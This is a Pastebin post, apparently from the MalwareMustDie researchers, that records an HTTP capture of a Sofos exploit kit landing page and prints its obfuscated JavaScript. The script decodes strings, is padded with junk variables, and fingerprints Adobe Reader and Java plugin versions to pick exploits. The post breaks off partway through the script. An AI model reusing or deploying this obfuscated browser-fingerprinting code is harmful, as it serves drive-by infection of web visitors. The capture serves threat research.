Advertisement
MalwareMustDie

Sofos EK Malware Infector Landing page at 37.139.51.143

Mar 26th, 2013
1,560
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 30.89 KB | None | 0 0
  1. #MalwareMustDie! Sofos EK Malware Infector Landing page at casserole-postman.underpaidksl.biz
  2. IP: 37.139.51.143
  3.  
  4. URL: h00p://casserole-postman.underpaidksl.biz/transfers-stars-poem.html
  5.  
  6. GET /transfers-stars-poem.html h00p/1.1
  7. Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/xaml+xml, application/x-ms-xbap, application/x-ms-application, application/vnd.ms-xpsdocument, */*
  8. Referer: h00p://easibusiness.com/jake/tds/index.php?out=1362571882
  9. Accept-Language: en-us
  10. User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
  11. Accept-Encoding: gzip, deflate
  12. Host: casserole-postman.underpaidksl.biz
  13. Connection: Keep-Alive
  14.  
  15. h00p/1.1 200 OK
  16. Server: nginx/0.7.67
  17. Date: Tue, 26 Mar 2013 08:11:06 GMT
  18. Content-Type: text/html; charset=utf-8
  19. Transfer-Encoding: chunked
  20. Connection: keep-alive
  21.  
  22. <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "h00p://www.w3.org/TR/html4/loose.dtd">
  23. <html xmlns="h00p://www.w3.org/1999/xhtml">
  24. <head profile="h00p://gmpg.org/xfn/11">
  25. <meta h00p-equiv="Expires" content="0">
  26. <meta h00p-equiv="Pragma" content="no-cache">
  27. <meta h00p-equiv="Content-Type" content="text/html; charset=UTF-8">
  28. <title> </title>
  29. <style type="text/css">.toplinks{background: transparent;color: #000;padding: 0 0 5px 0;text-align: right;} .toplinks span{background: transparent;border: 0px solid #FFFFFF;color: #000;font-size: 10px;font-weight: bold;margin: 0 10px 0 0;padding: 5px;}</style>
  30. </head>
  31. <body>
  32. <script>
  33. function decodeStr(str){
  34. str = str.split("");
  35. var Q7CUpm = "D3fHqtbCw"; var g6WmS = "v9kgX"; var J7Phq = 62929986; ;
  36. var l0qIDF = new Array(); ;
  37. var Q2rWvZP = false; var O1HFi = new Object(); ;
  38. var key = "WUSbBhlFZxH9kQ0pueznDG.JomvqLPg6aCrY,AcKTNE5OX47Mts/Ry812dI3wVif";
  39. var o8NilJGw = 5344404; var q8FSiN = new Array(); var e6TPy = new Object(); var e0tvFqZO = 99101372; ;
  40. var S9fKdb = new Array(); var w3rkXFKc = 425941; var B5QqCKqD = new Array(); var X6OHIPq = 48442685; ;
  41. var Z2Kptgm = new Array(); var c4TQF = new Object(); var X3Gizf = "h0kwKWOrsoGFvMyB"; ;
  42. var L0nSUodgA = key.split("");
  43. var V4RRoC = "k8zmTbBNmA"; ;
  44. var D2LMTgH = "d3NfcQaMyXCMsJm"; ;
  45. var K8HcT = "r1JGeQMWltqP"; ;
  46. var V5XmPxXiK = '';
  47. var G2Tdld = new Array(); var t6pHg = new Object(); var z8QDI = new Array(); var U0BUpPCv = "V2UKVunL"; ;
  48. var k6phM = true; ;
  49. var v9nXPZac = false; var X2MOvrI = true; var V6ezTybT = "Z7skGJF"; var t0kqrS = new Object(); ;
  50. for(i=0;i<str.length;i++){
  51. var idx = key.indexOf(str[i]);
  52. var p8StwWX = new Object(); var D1NBZmku = false; ;
  53. var R4uQc = 65515165; var x6sXPkI = "g2gBLEsoNlwSOvSGz"; ;
  54. var K5Wqr = 44879508; var l3zVrgXg = "F5QlQTMTuZxkLMEm"; var g3qunG = false; ;
  55. if(idx!==-1){
  56. V5XmPxXiK+= L0nSUodgA[key.length-1-idx];
  57. var P8NIQa = new Array(); var v8fiSN = "g6UxVuGHhCQKkERUhs"; var t9GnUD = new Array(); var U9JMb = new Array(); ;
  58. var Z3BdSBXs = 95310594; ;
  59. var v8ZmTT = 62516966; var s3HPFK = 18063668; var y5knKcL = new Array(); ;
  60. } else {
  61. V5XmPxXiK+= str[i];
  62. var S2yrukET = new Object(); var D9erKrZ = new Object(); ;
  63. var F2yVHo = new Array(); var b4DdZG = 14102968; var Z9hHZB = true; ;
  64. var d9IkuM = 63699913; var M7FvKZl = 22506676; ;
  65. }
  66. }
  67.  
  68. return V5XmPxXiK;
  69. var E0hOM = false; ;
  70. var m3paEHP = new Array(); ;
  71. var q8aBneZr = new Object(); var y1cEyxUW = false; var z5Tfkom = false; var A6ILvr = new Object(); ;
  72. }
  73.  
  74. var p0TEWvgm = '48ogogom4QEaawgGeiqErgwDma/';
  75. var q5rHwzO = "x1AZCFD"; var s7qpll = 71468529; var U7MLPVa = new Array(); ;
  76. var V3DGX = 31764567; var l4UwZugq = "R1zOQFHnJZX"; var d5qrgXg = true; var T4SsrUHz = 45080220; ;
  77. var F0BvaQF = new Object(); var w6OJFDz = false; ;
  78.  
  79. var K9aNKlew = null;
  80. var M5aThrSw = "L8ZMoSfTQVdHEcms"; var b0ynwwE = 61457450; ;
  81. var O7nzX = false; var Z4ZwIc = 29896623; ;
  82. var H7vEfJa = new Array(); var s5qBMKZB = 82929974; var N3PhRxvC = "q0WGCTTiNmvMb"; ;
  83. if (window.ActiveXObject) {
  84. K9aNKlew = 1;
  85. var x8QWN = 36272303; var q1XTrc = new Array(); var D1Huy = false; var C5mhXZSK = 72521729; ;
  86. var W7dHFMsX = new Object(); var o7Fch = 13977805; var P4XrEPQs = "w0ndKDGygCSldTRJR"; var H5USaAvC = false; ;
  87. var b5MLyyo = false; ;
  88. }
  89.  
  90. function hasMimeType(c){
  91. if(c){
  92. var f,e,b,d=isArray(c)?c:(isString(c)?[c]:[]);
  93. var T9FkB = new Object(); var I8OtXDS = 5283339; var o9ZDa = 31834520; var K9DadJgM = new Array(); ;
  94. var T8qehlHx = 14022250; var F3mPA = "Q8rmdVr"; ;
  95. var w8ORz = false; var x4PiIEk = "J4uJs"; var a9UBEZcr = "D8xvLEPUGVSPhA"; ;
  96. for(b=0;b<d.length;b++){
  97. if(isString(d[b])&&/[^\s]/.test(d[b])){
  98. f=navigator.mimeTypes[d[b]];
  99. var R9KIp = new Array(); ;
  100. var p7qta = new Object(); var b2Wrr = false; ;
  101. var t9emPRR = new Array(); ;
  102. e=f?f.enabledPlugin:0;
  103. var Q9qqxMz = "M0qnPzBk"; var U0VTNvgZ = "G6SBgfMlpX"; var B3OVyIcd = true;
  104. var F7afks = 90856709; ;
  105. var d6LhI = 91749566; var z6Zyd = 38791058; var F9Javz = true; ;
  106. var a7vzqC = 41347023; ;
  107. if(e&&(e.name||e.description)){
  108. return f;
  109. var D7Zoam = false; var T1fytyi = false; ;
  110. var g9JAv = new Object(); ;
  111. var i6hPvayx = false; var C4ThtTF = "y5MTFXFP"; ;
  112. }
  113. }
  114. }
  115. }
  116. return null;
  117. var D8MlMQa = new Array(); var h5VdISH = 81752754; var B3ZiLEoo = 39334332; var H9QTW = "s6nfZcguTTMxJiMmw"; ;
  118. var w1CTK = new Array(); ;
  119. var k7ySvTvm = false; var Z2PGTnh = "h4oug"; var i4yswHuN = new Object(); ;
  120. }
  121.  
  122.  
  123. function getMimeEnabledPlugin(k,m){
  124. var e=this,f,b=new RegExp(m,"i"),h="",a,l,d,j=isString(k)?[k]:k;
  125. var x2WMJVTh = new Array(); ;
  126. var l0sxckdT = "V6LFGMLeTQnwXdamZl"; ;
  127. var U9bXbrE = true; var y2EoTs = new Array(); var N2ODX = false; var y9TCvZ = "o6tqIf"; ;
  128. for(d=0;d<j.length;d++){
  129. if((f=hasMimeType(j[d]))&&(f=f.enabledPlugin)){
  130. fx=hasMimeType(j[d]);
  131. var M8rnpIRq = new Array(); var C6DTk = new Object(); var d2DST = false; var K8CNF = 56522591; ;
  132. var B3WkvV = "D1TKaMrH"; ;
  133. var z1eLGULM = 38169326; ;
  134. l=f.description||h;
  135. var P9zoX = 60493075; var Z5aXRGiD = new Array(); ;
  136. var b9zBAiHd = 2201644; var v7FZDhn = new Object(); var V5PkTCIt = new Object(); ;
  137. var r3xTPM = 43298602; ;
  138. a=f.name||h;
  139. var H8VlemVF = new Object(); var W6ISIuL = new Object(); ;
  140. var n6vNaC = "Z6vtMpHxSlbL"; var V9gmdBv = "N4FBKeUXeDTHAJJM"; var C6qzb = true; var C1pySM = "e1QRTkkiUXRHwCV"; ;
  141. var l9qzcDbJ = 73577661; var e1izb = new Object(); var R4qfXUdB = new Array(); var u4TQm = "L7Dtx"; ;
  142. if(b.test(l)||b.test(a)){
  143. return f;
  144. var k2JtpoK = false; ;
  145. var m4OOmANQ = 95940234; var s4Tmrn = 20877962; var L3bzPxH = true; var p6rZm = "Z1NfGpfKtAvRlpUKLZ"; ;
  146. var O7zWs = new Array(); var D4LtSR = "i4TetiAnJdxcaZ"; var o4cBVKiE = new Array(); var r7Elf = true; ;
  147. }
  148. }
  149.  
  150. }
  151. return 0;
  152. var w1bbRCFK = true; ;
  153. var a1hbm = false; var l0ThvK = false; ;
  154. var p9NTttJh = 3544160; var o9qtITOA = 39395094; var p7gvXl = new Array(); var X4fxoVuN = new Array(); ;
  155. }
  156.  
  157. function findNavPlugin(l,e){
  158. var j=this,h=new RegExp(l,"i"),d=0,a=navigator.plugins,g="",f,b,m;
  159. var i5UaIZ = new Object(); var R2NQqBb = 11299334; var w7NEAlG = true; var i1qWhc = "N4eLZKHHGei"; ;
  160. var N3idzyF = new Object(); var v7kbN = true; var a0Jcq = 16076564; ;
  161. var F7gAsfd = new Object(); ;
  162. for(f=0;f<a.length;f++){
  163. m=a[f].description||g;b=a[f].name||g;
  164. var q6mflqc = new Object(); ;
  165. var g3TCUVdT = false; var H7kFW = new Object(); var Z3NueT = new Array(); var p6imLVS = new Object(); ;
  166. var s4rbiQNw = false; ;
  167. if((h.test(m)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))||(h.test(b)&&(!d||d.test(RegExp.leftContext+RegExp.rightContext)))){
  168. return a[f];
  169. var e0TwGt = "l4TsutNl"; var h0vlLfvB = "F2GaJqZ"; var q7DtU = true; var T2AlA = true; ;
  170. var x7Jcsci = new Object(); var C1Abc = new Array(); ;
  171. var I4EcSWlk = 97022163; var M8WDdAXH = "P6alWWlBv"; var V9mTV = "c0gTPQduWU"; ;
  172. }
  173. }
  174. return null;
  175. var X2DpoeX = false; var e9MoRftS = 69589795; var w2RbD = "Q3eWmMeJeooqTqCnAk"; ;
  176. var V3wDD = true; var r5TBiI = 14092347; var E2XSyRzL = new Object(); ;
  177. var Z8BJIna = false; var y7MDJuR = new Object(); var H2rQb = new Object(); ;
  178. }
  179.  
  180. function isArray(b){return(/array/i).test(Object.prototype.toString.call(b));}
  181. function isString(b){return typeof b=='string';}
  182. function isDefined(b){return typeof b!='undefined';};
  183. var p3TxTM = false; ;
  184.  
  185. var i6rxrIh = new Array(); var A3ypDBHG = new Array(); var e8mDqb = 63098127; var P9kGZ = "D6xltmWUcK"; ;
  186. var b8wUJN = 14849531; var W5iKMT = "N4dDdZgfTqpZuwbruk"; var S9CwsUt = "s5Gim"; var T6gQDRB = 91106098; ;
  187.  
  188. function isStrNum(b){return(typeof b=='string'&&(/\d/).test(b));};
  189. var G9XhXSvd = new Array(); var V9EgV = true; var I4bWpc = true; ;
  190.  
  191. var Z0VIW = "X3HIrKrDCx"; var v2kDI = "g8KVP"; var C9taGLU = new Array(); var P8ZqW = new Array(); ;
  192. var i6PZcx = 51872025; var x4DCXEz = new Object(); var m8paBGo = new Object(); ;
  193.  
  194. function isNum(b){return typeof b=='number';};
  195. var W6ysDGEO = new Object(); var o8fzNCQ = "K4KmTJa"; var X7DRH = 3520345; var Q1smemZX = new Array(); ;
  196.  
  197. var b2TvpDTl = true; ;
  198. var d5BAbe = "i5ywb"; var u9nDMHW = new Object(); var A6XRqvb = "V3bpksbGvG"; var x6gwW = "S3FwS"; ;
  199.  
  200.  
  201. function getNum(b,c){
  202. var Z9Ps = /[\d][\d\.\_,-]*/;
  203. var a5RWKozA = new Object(); var m7MUg = "v0VASyEaESNLX"; var C9VNrPg = "g2ghnVCbmKkNd"; var C0TonN = new Array(); ;
  204. var F1wdX = "y9glMhosXEMgAsAG"; var I1OTbm = true; var z8TKbG = "n2gZqc"; var x3wLo = "n3aqsMBnN"; ;
  205. var P7zUz = "J4azRCJ"; var r2iull = new Array(); ;
  206. var d=this,a=isStrNum(b)?(isDefined(c)?new RegExp(c):Z9Ps).exec(b):null;
  207. var Q5Vzid = true; var W3TNREoF = new Array(); var d1DsB = true; ;
  208. var T4rhiVI = new Array(); var F9shE = 19821148; var d6scxDt = "y3sdRzb"; ;
  209. var W5Qqbh = new Object(); var T7RHoxeI = 22151236; var u7lJtHIl = "V5VKSgwhMdhfu"; ;
  210. return a?a[0]:null;
  211. var z9CLC = "i6szUqsx"; var J7KFe = 87163121; ;
  212. var F1zpBa = "a9Rfw"; ;
  213. var w5gBqED = 2639081; var J0nevRnI = "A1ZsVA"; ;
  214. }
  215.  
  216. function formatNum(b,c){
  217. var R1JiVknQ = /[\.\_,-]/g;
  218. var E1VbLve = new Array(); var H2kErDKT = 69544976; var d2klTA = 33921602; var m2IaqrfK = "V8nHGiLBe"; ;
  219. var P8HsbM = new Object(); var l4Asv = new Object(); var b8mND = false; var n6MRCyU = "Q8SsoTTmNqT"; ;
  220. var E3FVeRFR = false; var H2zkxuf = "D5UiiXkbEDmgWPKhV"; var W2Dxa = "C4RWnFseJNfviG"; ;
  221. var a,e;
  222. var i2QAui = "u6GfIMFhUo"; ;
  223. var a2kAWl = 42666731; ;
  224. var g2wau = 13828845; var A8wRCpoV = 70779096; ;
  225. if(!isStrNum(b)){
  226. return null;
  227. var E9HhqtQ = true; ;
  228. var V1uWvV = "i3cTwKkF"; ;
  229. var A2IJTu = 21155932; ;
  230. }
  231. if(!isNum(c)){
  232. c=4;
  233. var O6Nqag = 761131; var W7Hiy = false; var Q8NHdaP = false; var p9SFGcR = "s1dInriItZRHOZle"; ;
  234. var g2uswl = "b0ihaAtptyaNoUHDhd"; var T2bWmAI = new Object(); ;
  235. var C7rBxcgU = 83910642; var z5wTN = "K7ViTTXSfgnqTRnJg"; var w4zbNSTP = new Array(); ;
  236. }
  237. c--;
  238. var w3DlGltZ = new Object(); ;
  239. var y2dgSTT = 11126777; var q8FQiA = "l1HcfNwrbPplaELyM"; var T1rVWI = "K5HBaHRKhqBCWG"; ;
  240. var t5WLvyEX = true; var g4spNvy = 82099151; var i9pTCl = "Z0CekbiV"; ;
  241. e=b.replace(/\s/g,"").split(R1JiVknQ).concat(["0","0","0","0"]);
  242. var E4Nie = 4244386; var o4fyoW = "I6CboiQSxIJ"; var h8Ddzt = "q3CowBtEPQCxvR"; var W5AUakaP = true; ;
  243. var H4eirw = 4756405; ;
  244. var G8Vdov = new Object(); ;
  245. for(a=0;a<4;a++){
  246. if(/^(0+)(.+)$/.test(e[a])){
  247. e[a]=RegExp.$2;
  248. var o7pnuHyb = true; var v7LFuupW = 14243136; var Z6VHOR = true; var v2Stw = "Q4uGGEelUxp"; ;
  249. var G8KAvn = true; var O7LEFC = true; ;
  250. var R1mVq = "c6atCsMHJQlKfR"; var z3xPTuoW = 87241466; ;
  251. }
  252. if(a>c||!(/\d/).test(e[a])){
  253. e[a]="0";
  254. var K5pJKiTA = false; var G4JbEiHr = 64772077; var F5MNicsE = false; var g2TGG = "M2MdkvOZRrAm"; ;
  255. var Q7GQL = true; var F7SakL = new Object(); ;
  256. var c6ZQgoL = false; var z3Qugp = 68508549; ;
  257. }
  258. }
  259. return e.slice(0,4).join(",");
  260. var h1EsC = new Array(); ;
  261. var W3WGE = false; var W2KnEw = new Object(); ;
  262. var U2FiBaV = new Array(); var G6azhErf = true; var T8qCypG = "t6CWWHVFTQxKr"; ;
  263. }
  264. function getPluginFileVersion(f,b){
  265. var R1JiVknQ = /[\.\_,-]/g;
  266. var i4Cudtb = new Array(); var S0QWtGPS = "e1ySTgmUpBbdi"; ;
  267. var s7AFFbLf = "k1AwlBeQTz"; ;
  268. var o8OsGJM = true; ;
  269. var e,d,g,a,c=-1;
  270. var U3nKB = 32675970; ;
  271. var C6kzCpD = false; var n5XZiFV = new Array(); var C8VKGghO = 34937400; ;
  272. var K7KIIooV = new Array(); var m9euzTiG = "c9RPqdohfcLmBAXSL"; var L7PKMIH = new Object(); var Z9vBJE = "P4PbX"; ;
  273. if(!f.version||!(e=getNum(f.version))){
  274. return b;
  275. var l0bLdmqu = "C8PCObr"; var S2rTV = new Array(); ;
  276. var F4ufSdK = 45067388; ;
  277. var v9DuoOg = false; var M7ozK = new Array(); ;
  278. }
  279. if(!b){
  280. return e;
  281. var v4iadWL = "S0sCFETNRXspS"; var p1gMvtZP = "r8QzMdmQXRUHd"; ;
  282. var Z9NnV = true; var M3cOwW = new Object(); ;
  283. var T7xha = "R3XfaXRMEUNLC"; var C6WBlc = new Object(); ;
  284. }
  285. e=formatNum(e);
  286. var z6QOFm = 48304631; ;
  287. var D9gCh = "B9qOczw"; ;
  288. var C3Rrfso = true; var u6wMe = "P6OcK"; var E8Dym = "t0IaUty"; var y2RsT = true; ;
  289. b=formatNum(b);
  290. var Z5tfZbIV = 27225684; var t0BRbJJv = new Object(); var f8FsJ = "U7ZVcmCdQlTNR"; var q1SLAc = 51668634; ;
  291. var u0TJcD = new Object(); var x0KOWf = "y6TSlHCGfa"; ;
  292. var U6xefr = 38013063; var E6KafPu = "c8QPiSxoxxPU"; ;
  293. d=b.split(R1JiVknQ);
  294. var M8zNlwo = new Object(); var X2JPr = false; var F5xsivAS = "u6awTBhwm"; var l3UwsJy = new Array(); ;
  295. var B3BxKlaT = new Object(); var b4OeDelU = new Object(); ;
  296. var e5LuTh = true; var o3lnP = new Object(); ;
  297. g=e.split(R1JiVknQ);
  298. var c6HmOVe = new Object(); ;
  299. var L9cED = new Array(); ;
  300. var D0TdXqR = true; ;
  301. for(a=0;a<d.length;a++){
  302. if(c>-1&&a>c&&d[a]!="0"){
  303. return b;
  304. var P8XnLU = "T8xrrRKHcUbHCk"; var A9UhOT = 47675739; var v5uIJah = "N5PEEtxaDoPcOxVI"; ;
  305. var r3QvBAg = "d7srEZXv"; ;
  306. var m4sNel = 74794547; var b0lsmTzQ = 1310315; var L4wpm = new Object(); ;
  307. }
  308. if(g[a]!=d[a]){
  309. if(c==-1){c=a;}
  310. if(d[a]!="0"){
  311. return b;
  312. var v3DgnGJn = "K3NAwg"; var f3dthL = true; var x9UJrK = false; var c4MSneoM = "S5aHyJhFDwuBUf"; ;
  313. var Z8Riry = "A3rvQU"; var I4Kaq = true; var l0oghSX = 1685929; var k8QTVf = 93934792; ;
  314. var R4MWTB = "B3fpsylKVkOpbbt"; var r0TJSAr = new Object(); ;
  315. }
  316. }
  317. }
  318. return e;
  319. var P3oEnC = new Object(); var A0mwly = 36171670; var V9cfI = 11779095; var R9TdSg = true; ;
  320. var L0WnNr = true; ;
  321. var g1Wtv = false; var r5utU = new Array(); var v4EZEFmm = new Array(); var E4xmxH = new Object(); ;
  322. }
  323.  
  324. function pluginHasMimeType(d,c,f){
  325. var a;
  326. var K7mvb = new Object(); var K3zLbIxJ = false; var W9RvI = 69824157; var k2XuDEQF = 58710106; ;
  327. var b0NHXPu = 94984432; ;
  328. var q9cRQ = true; ;
  329. for(a in d){
  330. if(d[a]&&d[a].type&&d[a].type==c){
  331. return 1;
  332. var B9KQEUbE = "Q7BpiFGqpHmLLFLoq"; ;
  333. var P4driahl = 8561268; var i5JPZT = 6159826; var X3PTuCca = true; ;
  334. var V8xkqr = "K3DoXGoDxxHID"; ;
  335. }
  336. }
  337. if(getMimeEnabledPlugin(c,f)){
  338. return 1;
  339. var N8EARv = true; var e0Xep = "g4lllZSQd"; var Z5vbdTRm = true; ;
  340. var T4NRvi = false; ;
  341. var p3sNfoe = "X7BxOPMOPnRUgiba"; var e7qMIqf = new Array(); ;
  342. }
  343. return 0;
  344. var Z9ZXWnP = "F5RnhxVwJvKDPy"; var s3iTwg = false; ;
  345. var p1bODP = 18082813; ;
  346. var U4zsflZ = 64273374; var R3VsbsPE = "r3uHMNr"; ;
  347. }
  348. function getActX(activePlugin){
  349. try {
  350. var obj = new ActiveXObject(activePlugin);
  351. var d3iFT = 88604303; ;
  352. var B0pnAGE = 59738125; var B8Huuz = 17113676; ;
  353. var N0UvLB = 35706151; var i5aFkKf = 76197198; var T6FZJlQ = new Object(); var l8pWRAD = new Object(); ;
  354. return obj;
  355. var N0ixLd = 83590197; var J3VHpQl = 18714902; var Z6FohBws = 48841951; var P0ulxI = "X2JzEK"; ;
  356. var X5Tutw = 83649324; var l8Nru = new Object(); var w0yQPWxT = "F1zLLqITUdCweuf"; ;
  357. var P7urT = new Object(); ;
  358. } catch(e) {
  359. return false;
  360. var F8Pie = true; ;
  361. var G2VCLGX = new Array(); var J9SiwB = false; ;
  362. var u5ykbW = new Array(); var H0vweoIr = "V7TglZASL"; ;
  363. }
  364. }
  365.  
  366. function pdf(){
  367. if(!K9aNKlew){
  368. var h=null;
  369. var O4fhXG = "F7UTIiGZmDrHdIm"; var P6BLpUEG = "L4KDTLB"; var B5qwZ = 81730076; var s2GTTrx = 68165587; ;
  370. var A1DDLtWD = new Array(); var V5vFsM = false; var n1oflOOx = true; ;
  371. var P9UuVGK = "o8NUQxJS"; var l8uBP = new Object(); ;
  372. if(navigator.plugins["Adobe Acrobat"]){
  373. var y = navigator.plugins["Adobe Acrobat"];
  374. var P5AhLQ = 67225114; var Q8xbHQiO = "I3BZLxWJevTTM"; var W2wZyXaz = 84127181; ;
  375. var n2zgGFoX = new Array(); var X1ZEG = new Object(); ;
  376. var T5twNTnG = "T1kHkdt"; var g5LyX = "E4WGvRCFyifaryNcM"; var i3ccvqc = "w5LyLe"; var U2HbDyMN = "v4SJtkSuseklCr"; ;
  377. if(navigator.plugins["Adobe Acrobat"].version){
  378. h = navigator.plugins["Adobe Acrobat"].version;
  379. var Z8eqxv = true; ;
  380. var K3kRvOi = 31420067; var E9rzd = 19713605; var v7Iyw = new Object(); ;
  381. var G3uHpCLM = 29402237; var N4OqO = 58497097; var u8Buuh = new Array(); var J3NGtft = 91996432; ;
  382. } else {
  383. var a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  384. var m0JJDAG = "d0Gucw"; ;
  385. var R2OLv = new Object(); var q4pXVHn = new Array(); var K8JvMGE = 34673303; ;
  386. var G2ITFFM = new Array(); var L4isfAHT = 34435305; var f3wySZk = 49789846; ;
  387. var l4Jicedc = "application/pdf";
  388. var y2qGc = "P1aoGSpB"; ;
  389. var D2TWs = true; ;
  390. var x9enHhD = "K2yABAbE"; var r9pQT = "Z8TtqkaopLmPlkzIZN"; ;
  391. var b=getMimeEnabledPlugin(l4Jicedc , a);
  392. var d2RQp = 3663504; var O9PeHcHP = "Q2qOSJPisHVQNtI"; var U3aMDf = false; var F0mBs = 80046546; ;
  393. var L9eTIkE = "y4UclZvvfP"; ;
  394. var B9CEqoNo = 20845788; var e7zGNmgP = 57865018; ;
  395. if(!b && hasMimeType(l4Jicedc)){
  396. b=findNavPlugin(a , 0);
  397. var l5WexOo = true; var b6RLlDul = true; var X9HehlXE = 67686904; ;
  398. var B7EhFZmi = "S7big"; var V8rXl = new Object(); var v9eTFt = new Object(); var B8ygD = 39141370; ;
  399. var h5RQLt = "L0hBdrz"; var S8ZUqrw = false; ;
  400. }
  401. if(b){
  402. h=getNum(b.description)||getNum(b.name);
  403. var u1USnACm = true; var n7iEpGhT = new Array(); var H5AxO = true; ;
  404. var a3GeiOii = new Array(); var v2gfao = 81789631; var H7zmMV = "h1TZJJbu"; ;
  405. var L2hboX = new Object(); var r0WIm = 93236007; var b6GVWh = 21903671; var D2BQdWz = "B3OJu"; ;
  406. h=getPluginFileVersion(b,h);
  407. var n2tXbQ = new Array(); var H4FpLri = "s3dCLpBHWwK"; ;
  408. var c9qgUfgW = true; var T7CXmiUM = new Array(); ;
  409. var T4aAxgTG = 34336839; var q3hhgtI = true; var x8oLU = true; var F0NTBo = true; ;
  410. if(!h){
  411. if(pluginHasMimeType(b,"application/vnd.adobe.pdfxml",a)){
  412. h="9";
  413. var o4GApn = 28912727; var G3JTast = 8766167; ;
  414. var h8awqS = new Object(); ;
  415. var O5DcEvrH = "O3fsRPn"; var k5DsAZ = "u2KMqn"; var x4txSB = true; var C3kWWaIx = 5297965; ;
  416. } else {
  417. if(pluginHasMimeType(b,"application/vnd.adobe.x-mars",a)){
  418. h="8";
  419. var n9RyKf = "z1zxzn"; var M4TWXV = "T4RgXUVpfNRDuGzfb"; var Z7HkHsB = false; ;
  420. var O0WzrUz = new Object(); var S0mvsxH = new Object(); ;
  421. var P4XTmIHf = true; var B4LQRc = new Array(); var T7aZnVpq = "i7UuerMpSktEfctBt"; ;
  422. }
  423. }
  424. }
  425. }
  426. }
  427. }
  428. } else {
  429. var n4gwnTdbi = ["AcroPDF.PDF","PDF.PdfCtrl"];
  430. var q6pQEXM = "a6wLqx"; ;
  431. var v2JeqFh = "V1VKOhfQPqZhaMOFgC"; var p0OdXF = 10574457; var W2CvpUQB = "D7DZcctJb"; var x0eqKgUl = true; ;
  432. var k6dhvT = new Array(); var O5CegCV = "K6DNBeuvyZaT"; var h7QURZc = "t9PXycVRC"; ;
  433. for(i=0;i<n4gwnTdbi.length;i++){
  434. control = getActX(n4gwnTdbi[i]);
  435. var x8ZaaCzf = 97095054; var z9geQ = "J3bEopiiAKprTNeBuy"; var R9vFwHTx = 95350019; ;
  436. var f5syn = 9563479; var p3reTPKO = 14702388; var y6pCSiqO = false; ;
  437. var w3BbaO = new Object(); var x2VZIh = 36891182; var A2xwukk = new Object(); ;
  438. if(control){
  439. version = control.GetVersions().split(",");
  440. var c7sJaC = true; var V7qiSfSQ = new Object(); var A6BFgTOE = new Object(); ;
  441. var I2bsul = "r3mHM"; ;
  442. var r1LKw = "t9CECKGOfhzR"; var D7EZcbD = 73466188; var w6piFq = 43213060; var o2vzU = 95821575; ;
  443. version = version[0].split("=");
  444. var d8mGzy = "W0tCmRJbLzhW"; var J3lFHOgh = "p2LZJXToCCxBxmsoX"; var N7GhILCs = new Array(); var C5pTfJp = new Array(); ;
  445. var G9NOF = new Array(); var X6MygWmC = "R4vTlO"; var L0Brh = false; var S7kOwstE = "D8VUOsRgVG"; ;
  446. var I3DGB = false; var b3KxJ = "d3IOBxzPOEXn"; ;
  447. h = version[1];
  448. var t3bTLH = new Array(); var T7EPs = "R9pVsT"; var D7NlG = new Object(); var E6JOwsrr = new Object(); ;
  449. var v0LUhu = 40999726; var W6XerhGQ = 97678349; var e7qef = 67693475; var m3Ziq = new Object(); ;
  450. var g9nNA = false; ;
  451. break;
  452. var B0bggphJ = new Array(); var f0DUMfvJ = new Array(); var R3AcZEyr = false; ;
  453. var L5PiKl = "c1lQC"; ;
  454. var J2rvnmQM = true; var F4IlLbH = 53601007; var l2TFQu = "E7JBhUNS"; var z2DXvvA = false; ;
  455. }
  456. }
  457. }
  458. return formatNum(h);
  459. var T1Qgy = new Object(); var b3zXnegs = false; var h9MqUBWn = "n6NhwqqCgDeuCQlPJq"; ;
  460. var k8OczB = new Object(); var V2CTTrXI = 1489489; ;
  461. var b8cTT = false; var h2ZebIbH = new Array(); var L3EUIDT = true; var K5Zto = new Object(); ;
  462. }
  463. var t9EqPDMAq = "/colin.js";
  464. var Q9twXsRL = 6627355; var h6rTLGJ = "E9TTaeFtuo"; var e6COmezb = new Array(); var E1UuCS = new Object(); ;
  465. var E7weLUKx = new Array(); var a7kdp = 97632494; ;
  466. var C6woqLG = "C7yavWcTTortWByZ"; ;
  467.  
  468. function java(){
  469. var ver=null;
  470. var K2oNriB = "X9FlcemmpmFHXPJ"; var U8bHJ = new Object(); var h1yrI = new Object(); ;
  471. var J9imgTSz = "S5TDdVtMOaJrMxQ"; var U6vCM = 4548883; ;
  472. var B7RWPCGx = new Array(); var H6qyhWL = 68175866; ;
  473.  
  474. if(!K9aNKlew){
  475. var n=/^\s*application\/x-java-applet;jpi-version\s*=\s*(\d.*)$/i,g,j,d="",h="a",o,b,k={};
  476. var s5fKlumf = 93874703; var y4WeDd = "P8zgGTSsgC"; var c2cSShLc = new Array(); var R4CqF = false; ;
  477.  
  478. var w4GaHOWT = 60785001; var X6hpv = "R4fbgmNQmKh"; var X7NpBVJT = 4743480; ;
  479. var W4RVEiF = 48161646; var v9keoUzT = false; var J5JTgSNg = new Object(); ;
  480.  
  481. for(i=0;i<navigator.mimeTypes.length;i++){
  482. o=navigator.mimeTypes[i];
  483. var o9xSMsB = new Array(); ;
  484. var p4OIUFve = "K2dQzm"; var T2CcnSg = "E1SAHwIe"; var E9CGD = false; var c8ZXar = 61406752; ;
  485. var a5AcFMd = 27426381; var u9sWEpMR = new Array(); var t0VITOJc = "k3ezbByE"; ;
  486. b=o?o.enabledPlugin:0;
  487. var c9XuA = false; var W2uxJQz = "L7BPLTK"; var o1ROQWnT = false; var p9NfpLDT = 31950861; ;
  488. var m2wQhkTT = 96694189; var T6TOmV = "T3TEeophTh"; ;
  489. var c8cku = 83534647; var u5WFc = "V7wuPhNBMwlWxZ"; var V3OwVZtR = new Object(); ;
  490. g=o&&n.test(o.type||d)?formatNum(getNum(RegExp.$1)):0;
  491. var D0eRC = new Array(); ;
  492. var Q9zrzmG = new Object(); var g5WqPs = true; var c5EgH = 93177744; ;
  493. var e6HhRvmX = new Array(); ;
  494. if(g&&b&&(b.description||b.name)){
  495. ver = g;
  496. var R7KlK = "k5yFJD"; var J4RmI = new Object(); var v8aANNdB = 98508999; ;
